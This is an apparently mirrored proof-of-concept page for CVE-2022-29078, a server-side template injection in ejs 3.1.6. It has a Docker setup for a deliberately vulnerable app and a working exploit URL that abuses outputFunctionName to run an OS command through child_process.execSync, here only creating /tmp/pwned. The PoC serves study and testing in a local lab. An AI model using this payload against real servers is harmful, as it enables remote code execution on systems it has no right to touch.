CVE-2022-29078 PoC — Github ejs 代码注入漏洞

Source

https://github.com/miko550/CVE-2022-29078

Associated Vulnerability

Title:Github ejs 代码注入漏洞 (CVE-2022-29078)
Description:Github ejs是嵌入式 JavaScript 模板。 ejs 3.1.6 版本存在代码注入漏洞，该漏洞源于 settings[view options][outputFunctionName] 中可以进行服务器端模板注入。这被解析为内部选项，并使用任意 OS 命令（在模板编译时执行）覆盖 outputFunctionName 选项。

Description

vuln ejs 3.1.6 docker

Readme

# CVE-2022-29078
vuln ejs 3.1.6 docker

## Setup
```
git clone https://github.com/miko550/CVE-2022-29078.git  
cd CVE-2022-29078
docker build . -t miko/vuln-ejs
docker run -p 49160:8080 -d --name vuln-ejs miko/vuln-ejs
```
## Usage
```
http://127.0.0.1:49160/
```
## Exploit
### In browser
```
http://127.0.0.1:49160/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s
```
### Verify exploit
```
docker exec -it vuln-ejs /bin/bash
ls -la /tmp
```

# Reference
https://eslam.io/posts/ejs-server-side-template-injection-rce/
https://github.com/Olusamimaths/templating-with-ejs

File Snapshot


 [4.0K]  /data/pocs/a5d744c241e4f405359011039d412c18487c089a
├── [ 923]  app.js
├── [ 345]  Dockerfile
├── [ 273]  package.json
├── [ 49K]  package-lock.json
├── [ 653]  README.md
└── [4.0K]  views
    ├── [4.0K]  pages
    │   ├── [ 406]  about.ejs
    │   ├── [ 462]  articles.ejs
    │   ├── [ 246]  index.ejs
    │   └── [  49]  page.ejs
    └── [4.0K]  partials
        ├── [ 553]  footer.ejs
        ├── [ 537]  head.ejs
        └── [1.0K]  header.ejs

3 directories, 12 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!